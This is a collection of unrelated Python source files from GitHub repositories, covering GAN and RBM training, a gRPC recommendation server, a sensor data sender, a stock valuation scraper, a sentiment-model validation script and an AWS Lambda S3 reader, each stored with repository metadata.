+{"seq_id":"41649669310","text":"import tensorflow as tf\nimport numpy as np\nimport random\nfrom argument import parse_args\nfrom model import ACGAN as GAN\nimport os\nimport scipy.misc as misc\nfrom utils import*\nfrom skimage import transform\nfrom tensorflow.contrib import keras\n\nargs = parse_args()\ntags = get_tags(args.data_dir)\n\ndatagen = keras.preprocessing.image.ImageDataGenerator(\n    rotation_range=10.,\n    width_shift_range=0.1,\n    height_shift_range=0.1,\n    shear_range=0.,\n    zoom_range=0.1,\n    horizontal_flip=True\n)\n\ndir_list = []\nfor filename in os.listdir(os.path.join(args.data_dir, 'faces')):\n    # tag = tags[filename.strip('.jpg')]\n    # if not (len(tag[0]) == 0 and len(tag[1]) == 0):\n    dir_list.append(filename)\nprint('Total ', len(dir_list), ' images in training data.')\n\nfaces = {}\nfor i, filename in enumerate(dir_list):\n    filepath = os.path.join(os.path.join(args.data_dir, 'faces/'+filename))\n    img = misc.imread(filepath)\n    img = transform.resize(img, (64, 64))\n    img = img*2 - 1\n    faces[filename] = img\n\ndef get_batch():\n    batch_feat = np.zeros([args.batch_size, args.emb_dim*2], dtype=float)\n    batch_img = np.zeros([args.batch_size, 64, 64, 3], dtype=float)\n    for i in range(args.batch_size):\n        filename = random.choice(dir_list)\n        # batch_feat[i] = glove_feats(glove, tags[filename.strip('.jpg')], args)\n        if filename.strip('.jpg') in tags:\n            batch_feat[i] = one_hot_feats(tags[filename.strip('.jpg')], args)\n        else:\n            batch_feat[i] = one_hot_feats([[], []], args)\n        batch_img[i] = datagen.random_transform(faces[filename])\n    return batch_img, batch_feat\n\n\n\nif __name__ == '__main__':\n    if not os.path.exists(args.save_img_dir):\n        os.mkdir(args.save_img_dir)\n    with tf.Graph().as_default() as graph:\n        initializer = tf.random_uniform_initializer(-args.init_scale, args.init_scale)\n        with tf.variable_scope('model', reuse=None, initializer=initializer) as scope:\n            model = GAN(args)\n            scope.reuse_variables()\n\n        config = tf.ConfigProto()\n        config.gpu_options.allow_growth = True\n        config.graph_options.optimizer_options.global_jit_level =\\\n        tf.OptimizerOptions.ON_1\n        sv = tf.train.Supervisor(logdir=args.log_dir,\n                             save_model_secs=args.save_model_secs)\n\n        with sv.managed_session(config=config) as sess:\n            for n_epoch in range(args.max_epoch):\n                for _ in range(1):\n                    batch_noise = np.random.standard_normal([args.batch_size, args.noise_dim])\n                    batch_img, batch_feat = get_batch()\n                    batch_random_feat = arti_feats(args)\n                    _, D_loss_curr = sess.run([model.opt_dis, model.D_loss],\n                                     feed_dict={model.isTrain_holder: True,\n                                                model.noise_holder: batch_noise,\n                                                model.feat_holder: batch_feat,\n                                                model.img_holder: batch_img,\n                                                model.random_feat_holder: batch_random_feat\n                                                })\n\n                batch_noise = np.random.standard_normal([args.batch_size, args.noise_dim])\n                batch_img, batch_feat = get_batch()\n                batch_random_feat = arti_feats(args)\n                _, G_loss_curr = sess.run([model.opt_gen, model.G_loss],\n                                  feed_dict={model.isTrain_holder: True,\n                                             model.noise_holder: batch_noise,\n                                             model.feat_holder: batch_feat,\n                                             model.random_feat_holder: batch_random_feat\n                                             })\n\n                if n_epoch % args.info_epoch == 0:\n                    print('n_epoch: ', n_epoch)\n                    print(\"\\tD_Loss: \", D_loss_curr)\n                    print(\"\\tG_Loss: \", G_loss_curr)\n                    batch_noise = np.random.standard_normal([args.batch_size, args.noise_dim])\n                    batch_feat = arti_feats(args, [['blue'], ['red']])\n                    generated_images = sess.run(model.fake_img,\n                                      feed_dict={model.isTrain_holder: False,\n                                                 model.noise_holder: batch_noise,\n                                                 model.feat_holder: batch_feat\n                                                 })\n                    filename = 'epoch_' + str(n_epoch) + '.jpg'\n                    misc.imsave(os.path.join(args.save_img_dir, filename), generated_images[0, :, :, :]/2 + 0.5)","repo_name":"raywu0123/ADLxMLDS2017","sub_path":"hw4/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"74775748317","text":"class User:\r\n    name = \"\"\r\n    surname = \"\"\r\n    age = 0\r\n    email = \"\" \r\n    \r\n    def __init__(self, name, surname, age, email):\r\n        self.name = name\r\n        self.surname = surname\r\n        self.age = age\r\n        self.email = email\r\n\r\n    def set(self, name, surname, age):\r\n        self.name = name\r\n        self.surname = surname\r\n        self.age = age\r\n    \r\n    def printAll(self):\r\n        print(\"User: \", self.name, \"\\n Age: \", self.age)\r\n\r\nadmin = User(\"Admin\", \"Marley\", 21, \"admin@itproger.com\")\r\nbob = User(\"Bob\", \"Marley\", 18, \"bobKrutoy@sfr.gov.ru\")\r\n\r\nadmin.printAll()\r\nbob.printAll()","repo_name":"tysunday/itproger","sub_path":"oop_class_object_method/oop_class_object_method.py","file_name":"oop_class_object_method.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"16979049849","text":"import time\nimport socketio\nimport platform\nimport time\n\nconversion = 1/0.7204\nCHANNEL = 0\n\ntry:\n    if platform.system() == \"Linux\":\n        import ADS1263\n        import RPi.GPIO as GPIO\n\n        REF = 5.08\n        ADC = ADS1263.ADS1263()\n        if (ADC.ADS1263_init_ADC1('ADS1263_7200SPS') == -1):\n            ADC.ADS1263_Exit()\n            print(\"Failed to initialize ADC1\")\n            exit()\n        ADC.ADS1263_SetMode(1)\n        ads1263_available = True\nexcept ImportError:\n    print(\"ADS1263 library not available, using simulated data\")\n\nsio = socketio.Client()\nsio.connect('http://192.168.1.100:8090')\n\ndef read_adc():\n    value = ADC.ADS1263_GetChannalValue(CHANNEL)\n    if value >> 31 == 1:\n        voltage = -(REF * 2 - value * REF / 0x80000000)\n    else:\n        voltage = value * REF / 0x7fffffff\n    return voltage * conversion\n\nwhile True:\n    # Read your data from ADS1263 and Geophone\n    # This is a placeholder value:\n    data = read_adc()\n\n    # Send data to server\n    sio.emit('client_data', {'value': data})\n\n    time.sleep(0.01)\n","repo_name":"Tirawatscu/gVseism","sub_path":"gVseism.py","file_name":"gVseism.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"34702741699","text":"\"\"\"\nMultiple times operator: **\na = 2 * 3\n\"\"\"\n\n# use ** as arithmatice operator\na = 3\nb = 2\nc = a**b\nprint(c)\n\n# merge two dictionary\nx = {'key1':'value1', 'key2':'value2'}\ny = {'key2':2, 'key3':3}\nz = {**y, **x} # dict has no duplicated key\nprint(z)\n\n# get dict value\ndate_info = {'year': \"2020\", 'month': \"01\", 'day': \"01\"}\ntrack_info = {'artist': \"Beethoven\", 'title': 'Symphony No 5'}\nextension = {'ext':'csv'}\nfilename = \"{year}-{month}-{day}-{artist}-{title}.{ext}\".format(**date_info, **track_info, **extension)\nprint(filename)\n\n","repo_name":"RodneyDong/python","sub_path":"src/others.py","file_name":"others.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"28081435737","text":"from concurrent import futures\nimport random\n\nimport grpc\n\nfrom TextureDefinition_pb2 import (\n    TextureCategory,\n    TextureRecommendation,\n    RecommendationResponse,\n)\n\nimport TextureDefinition_pb2_grpc\nfrom   TextureDefinition_pb2_grpc import  RecommendationsStub\nfrom   TextureDefinition_pb2      import  TextureCategory, RecommendationRequest\n\nbooks_by_category = {\n    TextureCategory.MONOCHROME: [\n        TextureRecommendation(id=1, title=\"The Maltese Falcon\"),\n        TextureRecommendation(id=2, title=\"Murder on the Orient Express\"),\n        TextureRecommendation(id=3, title=\"The Hound of the Baskervilles\"),\n    ],\n    TextureCategory.MONOCHROME: [\n        TextureRecommendation(\n            id=4, title=\"The Hitchhiker's Guide to the Galaxy\"\n        ),\n        TextureRecommendation(id=5, title=\"Ender's Game\"),\n        TextureRecommendation(id=6, title=\"The Dune Chronicles\"),\n    ],\n    TextureCategory.COLOR: [\n        TextureRecommendation(\n            id=7, title=\"The 7 Habits of Highly Effective People\"\n        ),\n        TextureRecommendation(\n            id=8, title=\"How to Win Friends and Influence People\"\n        ),\n        TextureRecommendation(id=9, title=\"Man's Search for Meaning\"),\n    ],\n    TextureCategory.XYZ: [\n        TextureRecommendation(\n            id=7, title=\"The 7 Habits of Highly Effective People\"\n        ),\n        TextureRecommendation(\n            id=8, title=\"How to Win Friends and Influence People\"\n        ),\n        TextureRecommendation(id=9, title=\"Man's Search for Meaning\"),\n    ],\n}\n\nclass RecommendationService(\n    TextureDefinition_pb2_grpc.RecommendationsServicer\n):\n    def Recommend(self, request, context):\n        if request.category not in books_by_category:\n            context.abort(grpc.StatusCode.NOT_FOUND, \"Category not found\")\n\n        books_for_category = books_by_category[request.category]\n        num_results = min(request.max_results, len(books_for_category))\n        books_to_recommend = random.sample(\n            books_for_category, num_results\n        )\n\n        return RecommendationResponse(recommendations=books_to_recommend)\n\ndef serve():\n    server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))\n    TextureDefinition_pb2_grpc.add_RecommendationsServicer_to_server(\n        RecommendationService(), server\n    )\n    server.add_insecure_port(\"[::]:50051\")\n    server.start()\n    server.wait_for_termination()\n\nif __name__ == \"__main__\":\n    serve()","repo_name":"MilesLitteral/MaterialUIIO","sub_path":"textures_grpc.py","file_name":"textures_grpc.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"6812259408","text":"#Importing Libraries\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.utils.data\nfrom torch.autograd import Variable\n#Importing Dataset\nmovies = pd.read_csv('ml-1m/movies.dat', sep = \"::\", header = None, engine = 'python',encoding = 'Latin-1')\nusers = pd.read_csv('ml-1m/users.dat',sep = '::',header = None, engine = 'python', encoding = 'Latin-1')\nratings = pd.read_csv('ml-1m/ratings.dat',sep = \"::\",header = None, engine = 'python', encoding = 'Latin-1')\n#Training Set and Test Set\ntrain_set = pd.read_csv('ml-100k/u1.base',delimiter = '\\t')\ntrain_set = np.array(train_set, dtype = 'int')\ntest_set = pd.read_csv('ml-100k/u1.test',delimiter = '\\t')\ntest_set = np.array(test_set, dtype = 'int')\n#Getting Numbers of users and movies\nuser_no = int(max(max(train_set[:,0]), max(test_set[:,0])))\nmovie_no = int(max(max(train_set[:,1]),max(test_set[:,1])))\n#Converting Data into array\ndef con(d):\n    new_data = []\n    for i in range(1,user_no+1):\n        movid = d[:,1][d[:,0] == i]\n        rat = d[:,2][d[:,0] == i]\n        ratings = np.zeros(movie_no)\n        ratings[movid - 1] = rat\n        new_data.append(list(ratings))\n    return new_data\ntrain_set = con(train_set)\ntest_set = con(test_set)\n#Connecting with Torch Tensors\ntrain_set = torch.FloatTensor(train_set)\ntest_set = torch.FloatTensor(test_set)\n#Converting ratings to binary\ntrain_set[train_set == 0] = -1\ntrain_set[train_set == 1] = 0\ntrain_set[train_set == 2] = 0\ntrain_set[train_set >= 3] = 1\ntest_set[test_set == 0] = -1\ntest_set[test_set == 1] = 0\ntest_set[test_set == 2] = 0\ntest_set[test_set >= 3] = 1\n#Restricted Boltzmann Machine\nclass RBM():\n    def __init__(self, nv,nh):\n        self.w = torch.randn(nh,nv)\n        self.a = torch.randn(1,nh)\n        self.b = torch.randn(1,nv)\n    def sam_h(self,x):\n        p = torch.mm(x, self.w.t())\n        acti = p + self.a.expand_as(p)\n        prob = torch.sigmoid(acti)\n        return prob,torch.bernoulli(prob)\n    def sam_v(self,y):\n        p = torch.mm(y, self.w)\n        acti = p+self.b.expand_as(p)\n        prob = torch.sigmoid(acti)\n        return prob, torch.bernoulli(prob)\n    def train(self,v,k,ph,phk):\n        self.w += (torch.mm(v.t(),ph) - torch.mm(k.t(),phk)).t()\n        self.b += torch.sum((v-k),0)\n        self.a += torch.sum((ph-phk),0)\nnv = len(train_set[0])\nnh = 100\nbatch_size = 100\nrbm = RBM(nv,nh)\n#Training\nepochs = 10\nfor i in range(1,epochs+1):\n    loss = 0\n    s = 0.\n    for j in range(0,user_no - batch_size,batch_size):\n        v = train_set[j:j+batch_size]\n        vk =train_set[j:j+batch_size]\n        ph,_ = rbm.sam_h(v)\n        for k in range(10):\n            _,hk = rbm.sam_h(vk)\n            _,vk = rbm.sam_v(hk)\n            vk[v<0] = v[v<0]\n        phk,_ = rbm.sam_h(vk)\n        rbm.train(v,vk,ph,phk)\n        loss += torch.mean(torch.abs(v[v>=0]-vk[v>=0]))\n        s+=1\n    print('Epoch :'+str(i)+' Loss :'+str(loss/s))\n#Testing\nloss = 0\ns = 0.\nfor j in range(user_no):\n    v = train_set[j:j+1]\n    vt = test_set[j:j+1]\n    if len(vt[vt>=0]) > 0:\n        _,h = rbm.sam_h(v)\n        _,v = rbm.sam_v(h)\n        loss += torch.mean(torch.abs(vt[vt>=0]- v[vt>=0]))\n        s+=1.\nprint('Test Loss :'+str(loss/s))\n\n        \n\n\n        \n","repo_name":"ShyamSundhar1411/Boltzmann-Machine","sub_path":"boltzmann_machine.py","file_name":"boltzmann_machine.py","file_ext":"py","file_size_in_byte":3245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"2945992350","text":"if __name__ == '__main__':\n    import time\n    import sys\n    import numpy as np\n    from stackprinter import format\n\n\n    def bump():\n        print('creating crazy data structures.')\n        boing = {k:np.ones((100,100)) for k in range(int(2e4))}\n        print('.')\n        somelist = [1,2,3,boing, boing, 4,5,6,7,8,9] * int(1e5)\n        print('done.')\n\n        somedict = {'various': 'excellent',\n                             123: 'things',\n                             'in': np.ones((42,23)),\n                             'a list': somelist}\n        sometuple = (1,2, somedict, np.ones((32,64)), boing)\n        somedict['recursion'] = somedict\n        raise Exception('hello')\n\n\n    try:\n        bump()\n    except:\n        stuff = sys.exc_info()\n        scopidoped = 'gotcha'\n        tic = time.perf_counter()\n\n        msg = format(stuff, style='color', show_vals='all', reverse=False, truncate_vals=250, suppressed_paths=[\"site-packages\"])\n\n        took = time.perf_counter() - tic\n        print(msg)\n        print('took %.1fms' % (took * 1000))\n","repo_name":"cknd/stackprinter","sub_path":"demo_pprint.py","file_name":"demo_pprint.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":1254,"dataset":"github-code","pt":"51"}
+{"seq_id":"43937646122","text":"\"\"\"\nWe don't have ground-truth labels for the sentiment rating algorithm, so we need some other way to validate it.\nTo do this, we will take two approaches:\n1. Automated validation against https://huggingface.co/datasets/financial_phrasebank 's dataset; this is a dataset\nconsisting of sentences extracted from (financial) news articles and given sentiment ratings of positive, negative, or neutral; this is the\nsame as the task we use our rating model for. This should give us a good signal of how accurate our model is on news articles.\n2. Manual validation of a random sample of 20 articles, the results of which will be reported in our report.\n\"\"\"\nfrom datasets import load_dataset\nfrom transformers import pipeline\nimport evaluate \nimport pandas as pd\nfrom argparse import ArgumentParser\n\ndef postprocess_results(x):\n    # postprocess results dict to match format expected by financial phrasebank\n    if x['label'] == 'negative':\n        return 0\n    elif x['label'] == 'positive':\n        return 2\n    elif x['label'] == 'neutral':\n        return 1\n\ndef main(auto, manual):\n    if manual:\n        # gen a sample for manual validation\n\n        articles_df = pd.read_json(\"data_deliverable/data_files/combined_articles.json\")\n        ratings_df = pd.read_json(\"analysis/data/combined_scored_sentiment_ratings.json\")\n        ratings_df = ratings_df[ratings_df['METHOD'] == 'roberta_average_sentence_sentiment_conf_scaled']\n\n        for _, a in articles_df.sample(n=20).iterrows():\n            rating = ratings_df[ratings_df['ID'] == a['ID']]\n            print(f\"RATING: {rating['RATING'].values[0]}\")\n            print(f\"SOURCE: {a['SOURCE']}\")\n            print(f\"TEXT: {a['PLAIN_TEXT']}\")\n            print()\n\n\n\n    if auto:\n        # run automatic validation and print results\n        dataset = load_dataset(\"financial_phrasebank\", 'sentences_allagree', split='train')\n\n        acc_met = evaluate.load(\"accuracy\", average=None)\n        p_met = evaluate.load(\"precision\", average=None)\n        rec_met = evaluate.load(\"recall\", average=None)\n        f1_met = evaluate.load(\"f1\", average=None)\n\n        sentiment_task = pipeline(\"sentiment-analysis\", model=\"cardiffnlp/twitter-roberta-base-sentiment-latest\", tokenizer=\"cardiffnlp/twitter-roberta-base-sentiment-latest\")\n        sentences = [dataset[i]['sentence'] for i in range(len(dataset))]\n        sentence_sentiments = sentiment_task(sentences)\n\n        preds = list(map(postprocess_results, sentence_sentiments))\n        refs = [dataset[i]['label'] for i in range(len(dataset))]\n    \n        print(f\"ACCURACY: {acc_met.compute(predictions = preds, references = refs)}\")\n        print(f\"PRECISION: {p_met.compute(predictions = preds, references = refs, average=None)}\")\n        print(f\"RECALL: {rec_met.compute(predictions = preds, references = refs, average=None)}\")\n        print(f\"F1: {f1_met.compute(predictions = preds, references = refs, average=None)}\")\n\n\nif __name__ == \"__main__\":\n    p = ArgumentParser()\n    p.add_argument(\"--auto\", action='store_true', default=False)\n    p.add_argument(\"--manual\", action='store_true', default=False)\n    args = p.parse_args()\n    main(args.auto, args.manual)\n","repo_name":"johnnyboustany/remotersdataviz","sub_path":"analysis/code/validate_sentiment.py","file_name":"validate_sentiment.py","file_ext":"py","file_size_in_byte":3166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"16461870453","text":"from bs4 import BeautifulSoup\nfrom per import perCalculation, showHistoryTable\nfrom asset import assetCalculation\nfrom liabilitas import liabilitasCalculation\nimport requests\n\nstockCode = 'icbp'\nquartal = 4\nwebsiterUrl = requests.get(\n    \"https://www.indopremier.com/module/saham/include/fundamental.php?code=\"+stockCode+\"&quarter=\"+str(quartal)).text\nprint(\"https://www.indopremier.com/module/saham/include/fundamental.php?code=\"+stockCode+\"&quarter=\"+str(quartal))\nsoup = BeautifulSoup(websiterUrl, \"html.parser\")\n\ntable = []\n\nmyTable = soup.find(\"table\", {\"class\": \"table-fundamental\"})\nheaders = myTable.find('thead').findAll('tr')\nheader = []\nfor row in headers:\n    thList = row.find_all('th', {\"align\": \"right\"})\n    header.append('akun')\n    for rowTh in thList:\n        header.append(rowTh.text)\n        \ntable.append(header)\n\ndatas = myTable.find('tbody').findAll(\"tr\")\nfor row in datas:\n    td_list = row.find_all(\"td\")\n    account=[]\n    for rowTd in td_list:\n        account.append(rowTd.text)\n    if len(account) > 2:\n        table.append(account)\n\nprint(\" \")\n\n#Define Account\nper = []\n\nindex = 0\npbvNow = 0\nepsNow = 0\nperNow = 0\naveragePer = 0\naveragePbv = 0\naverageRoe = 0\nbvpsNow = 0\nlastPrice = 0\nder = 0\nroe = 0\n\nperArr = []\npbvArr = []\nroeArr = []\nscore = 0\nscoreBlueChip = 0\n\ndateKuartal = []\n\n\n\nwhile index < len(table):\n    if table[index][0] == 'akun':\n        dateKuartal = table[index]\n    if table[index][0] == 'Total Asset':\n        print('===================== Asset ========================')\n        assetCalculation(table, dateKuartal, quartal, index)\n    if table[index][0] == 'S.T.Borrowing':\n        print('===================== Hutang Jangka Pendek ========================')\n        liabilitasCalculation(table, dateKuartal, quartal, index, 'short')\n    if table[index][0] == 'L.T.Borrowing':\n        print('===================== Hutang Jangka Panjang ========================')\n        liabilitasCalculation(table, dateKuartal, quartal, index, 'long')\n    if table[index][0] == 'PER':\n        print('===================== PER ========================')\n        showHistoryTable(table, dateKuartal, quartal, index)\n        perArr, perNow, totalPer = perCalculation(table,dateKuartal,quartal, index)  \n        \n    if table[index][0] == 'PBV':\n        print('')\n        print('===================== PBV ========================')\n        totalPbv = 0\n        for i, row in enumerate(table[index]):\n            if quartal > 3:\n                if i != 0 and i != 2:\n                    pbvInt = row.replace(' x', '')\n                    if i == 1:\n                        pbvNow = float(pbvInt)\n                    pbvArr.append(float(pbvInt))\n                    totalPbv = totalPbv + float(pbvInt)\n            else: \n                if i > 1:\n                    pbvInt = row.replace(' x', '')\n                    if i == 2:\n                        pbvNow = float(pbvInt)\n                    pbvArr.append(float(pbvInt))\n                    totalPbv = totalPbv + float(pbvInt)\n\n        averagePbv = totalPbv/(len(table[index])-2)\n        marginPbv = ((averagePbv - pbvNow)/averagePbv) * 100\n\n        print('PBV saat ini :', round(pbvNow,2))\n        print('PBV rata rata :', round(averagePbv,2))\n        print('Margin PBV :', round(marginPbv,2), '%')\n        if float(pbvNow) > averagePbv:\n            print('PBV diatas rata rata')\n        else:\n            score +=1\n            scoreBlueChip +=1\n            print('PBV dibawah rata rata')\n\n    if table[index][0] == 'EPS':\n        for i, row in enumerate(table[index]):\n            if quartal > 3:\n                if i != 0 and i != 2:\n                    epsInt = row.replace(' x', '')\n                    epsInt = row.replace(',', '')\n                    if i == 1:\n                        epsNow = float(epsInt)\n            else :\n                if i > 1:\n                    epsInt = row.replace(' x', '')\n                    epsInt = row.replace(',', '')\n                    if i == 2:\n                        epsNow = float(epsInt)\n            \n\n    if table[index][0] == 'BVPS':\n        for i, row in enumerate(table[index]):\n            if quartal > 3:\n                if i != 0 and i != 2:\n                    bvpsInt = row.replace(',', '')\n                    if i == 1:\n                        bvpsNow = float(bvpsInt)\n            else :\n                if i > 1:\n                    bvpsInt = row.replace(',', '')\n                    if i == 2:\n                        bvpsNow = float(bvpsInt)\n\n    if table[index][0] == 'Last Price':\n        for i, row in enumerate(table[index]):\n            if quartal > 3:\n                if i != 0 and i != 2:\n                    lastPriceInt = row.replace(',', '')\n                    if i == 1:\n                        lastPrice = float(lastPriceInt)\n            else:\n                if i > 1:\n                    lastPriceInt = row.replace(',', '')\n                    if i == 2:\n                        lastPrice = float(lastPriceInt)\n\n    if table[index][0] == 'Debt/Equity':\n        for i, row in enumerate(table[index]):\n            if quartal > 3:\n                if i != 0 and i != 2:\n                    derInt = row.replace(',', '')\n                    if i == 1:\n                        der = float(derInt)\n            else:\n                if i > 1:\n                    derInt = row.replace(',', '')\n                    if i == 1:\n                        der = float(derInt)\n    \n    if table[index][0] == 'ROE':\n        totalRoe = 0\n        for i, row in enumerate(table[index]):\n            if quartal > 3:\n                if i != 0 and i != 2:\n                    roeStr = row.replace(',', '')\n                    roeStr = row.replace('%', '')\n                    if i == 1:\n                        roe = roeStr\n                    totalRoe = totalRoe + float(roeStr)\n                    roeArr.append(float(roeStr))\n            else:\n                if i > 1:\n                    roeStr = row.replace(',', '')\n                    roeStr = row.replace('%', '')\n                    if i == 2:\n                        roe = roeStr\n\n                    totalRoe = totalRoe + float(roeStr)\n                    roeArr.append(float(roeStr))\n\n            averageRoe = totalRoe/(len(table[index])-2)\n            #marginPer = ((averagePer - perNow)/averagePer) * 100\n\n\n    index += 1\nprint('')\nprint('===================== Info ======================')\n\nprint('Stock Code:', stockCode)\nprint('Harga Saat ini :', round(lastPrice, 2))\nprint('ROE :', roe)\nprint('Average Roe:', round(averageRoe,2))\n\ninitialReturn = (epsNow/lastPrice)*100\nif initialReturn > 7.5 :\n    score +=1\n    print('Initial Return:', round(initialReturn,2), \"Diatas Rata rata\")\nelse:\n    print('Initial Return:', round(initialReturn,2), \"Dibawah Rata\")\n\n\nstatusDer = ''\nif der > 1:\n    statusDer = ' Hutang diatas rata rata'\nelse:\n    scoreBlueChip +=1\n    score +=1\n    statusDer = ' Hutang dibawah rata rata'\n\nif float(roe) > 10:\n    score +=1\n    scoreBlueChip +=1\n\nif float(averageRoe) > 10:\n    score +=1\n    scoreBlueChip +=1\n\nif float(perNow) < 15:\n    score +=1\n\nif float(pbvNow) < 1:\n    score +=1\n\nif float(pbvNow) < 2.2:\n    scoreBlueChip += 1\n\nprint('DER:', der, statusDer)\n\nprint('')\nprint('===================== PRICE AVERAGE ======================')\n\nfairPriceByPER = epsNow * averagePer\nprint('Harga Wajar By PER Average :', round(fairPriceByPER, 2))\n\nfairPriceByPBV = bvpsNow * averagePbv\nprint('Harga Wajar By PBV Average :', round(fairPriceByPBV, 2))\naveragePrice = (fairPriceByPER + fairPriceByPBV)/2\n\nprint('Harga Wajar Average :', round(averagePrice, 2))\n\nmarginPrice = ((averagePrice - lastPrice)/averagePrice) * 100\nprint('Margin Of Safety Average :', round(marginPrice, 2), '%')\n\nif float(marginPrice) > 15:\n    score +=1\n\nprint('')\nprint('===================== PRICE RANGE ======================')\n\nperArr.sort()\npbvArr.sort()\n\n#Teori baca saham\nfairPriceByPERTerkecil = epsNow * float(perArr[0])\nfairPriceByPERTerbesar = epsNow * float(perArr[len(perArr)-1])\n\nfairPriceByPERRange = (fairPriceByPERTerkecil + fairPriceByPERTerbesar) / 2\nprint('Harga Wajar By PER Range:', round(fairPriceByPERRange, 2))\n\n#Teori baca saham\nfairPriceByPBVTerkecil = bvpsNow * float(pbvArr[0])\nfairPriceByPBVTerbesar = bvpsNow * float(pbvArr[len(pbvArr)-1])\n\nfairPriceByPBVRange = (fairPriceByPBVTerkecil + fairPriceByPBVTerbesar) / 2\nprint('Harga Wajar By PBV Range:', round(fairPriceByPBVRange, 2))\n\naveragePriceRange = (fairPriceByPERRange + fairPriceByPBVRange)/2\n\nprint('Harga Wajar Range :', round(averagePriceRange, 2))\nmarginPrice = ((averagePriceRange - lastPrice)/averagePriceRange) * 100\nprint('Margin Of Safety Range :', round(marginPrice, 2), '%')\n\nif float(marginPrice) > 15:\n    score +=1\n\nprint('')\n\nprint('===================== Benjamin Graham Price ======================')\n##average down\n\nhargaWajarBenjamin = epsNow * (8.5 + ((2*10))) * ((5.25/100)/(7.5/100)) \nprint('Harga Wajar Graham ', ':', round(hargaWajarBenjamin, 2))\nmarginPriceGraham = ((hargaWajarBenjamin - lastPrice)/hargaWajarBenjamin) * 100\nprint('Margin Of Safety Range :', round(marginPriceGraham, 2), '%')\n\nif marginPriceGraham > 15:\n    scoreBlueChip += 1\n    score += 1\n\nprint('')\n\nprint('===================== PRICE RANGE ======================')\nprint('Best Buy PER :', round(fairPriceByPERTerkecil, 2), ' PER terkecil 6 tahun terakhir')\nprint('Best Buy PBV :', round(fairPriceByPBVTerkecil, 2), ' PVB terkecil 6 tahun terakhir')\n\nprint('Best Sell PER :', round(fairPriceByPERTerbesar, 2),\n      ' PER terbesar 6 tahun terakhir')\nprint('Best Sell PBV :', round(fairPriceByPBVTerbesar, 2),\n      ' PVB terbesar 6 tahun terakhir')\n\nprint('')\nprint('===================== AVERAGE DOWN RANGE ======================')\n\n##average down\ncount = 1\naverageDownRange = averagePriceRange\nwhile (count < 6):     \n    averageDownRange = averageDownRange -(averageDownRange * 0.05) \n    print('Avareage Down ',count, ':', round(averageDownRange, 2))\n    count = count + 1\n\nprint('')\nprint('===================== AVERAGE DOWN RATA2 ======================')\n\n##average down\ncount = 1\naverageDown = averagePrice\nwhile (count < 6):     \n    averageDown = averageDown -(averageDown * 0.05) \n    print('Avareage Down ',count, ':', round(averageDown, 2))\n    count = count + 1\n\nprint('')\nprint('===================== AVERAGE UP RANGE ======================')\n\n##average UP\naverageUpRange = averagePriceRange\naverageUpRange = averageUpRange + (averageUpRange * 0.03) \nprint('Avareage Up ', ':', round(averageUpRange, 2))\n\n\nprint('')\nprint('===================== AVERAGE DOWN RATA2 ======================')\n##average down\naverageUp = averagePrice\naverageUp = averageUp +(averageUp * 0.03) \nprint('Avareage Up ', ':', round(averageUp, 2))\n\nprint('')\n\nprint('')\nprint('===================== Price Earning Growth ======================')\n##average down\npeg = (float(pbvNow) * 10) / float(roe)\nprint('PEG ', ':', round(peg, 2))\nprint('')\n\nprint('===================== Score ======================')\nprint('Score', ':', round(score, 2), ' dari maksimal point 11')\nprint('Score Blue Chip', ':', round(scoreBlueChip, 2), 'dari maksimal point 9')\n\n\n\n\n\n","repo_name":"abiewardani/robotorial_scrapping","sub_path":"stocks.py","file_name":"stocks.py","file_ext":"py","file_size_in_byte":11134,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"24499017605","text":"import json\nimport urllib.parse\nimport boto3\nimport botocore\nimport os\n\n\nprint(\"######### LOADING FUNCTION ###########\")\ns3 = boto3.client('s3')\n\n\n\ns3_bucket_name = os.environ.get('BUCKET_NAME')\ns3_key_website = os.environ.get('OBJECT_NAME')\n\n\ndef lambda_handler(event, context):\n    listOfEntries = []\n    s3 = boto3.resource('s3')\n    \n    try:\n        s3.Object(s3_bucket_name, s3_key_website).load()\n    except botocore.exceptions.ClientError as e:\n        if e.response['Error']['Code'] == \"404\":\n            print(f\"File ({s3_key_website})) required by this function does not exist!\")\n            return f\"File ({s3_key_website})) required by this function does not exist!\"\n        else:\n            raise f\"File ({s3_key_website}) required by this function is not accessible!\"\n            print(f\"File ({s3_key_website}) required by this function is not accessible!\")\n            return f\"File ({s3_key_website}) required by this function is not accessible!\"\n    \n  \n    obj = s3.Object(s3_bucket_name, s3_key_website)\n    data = obj.get()['Body'].read().decode('utf-8')\n    \n    \n    json_data = json.loads(\"\" + \n        data.replace(\"}\\n{\", \"},\\n{\") + \n    \"\")\n    \n    json_data = json.dumps(json_data)\n    \n    response = {\n        \"statusCode\": 200,\n        \"headers\": {\n            \"Access-Control-Allow-Origin\" : \"*\"\n        },\n        \"body\": json_data\n    };\n    \n    print(json_data)\n    return response","repo_name":"marektth/IoT","sub_path":"Lambdas/ATS_ZCT_GET_LAMBDA/lambda_handler.py","file_name":"lambda_handler.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
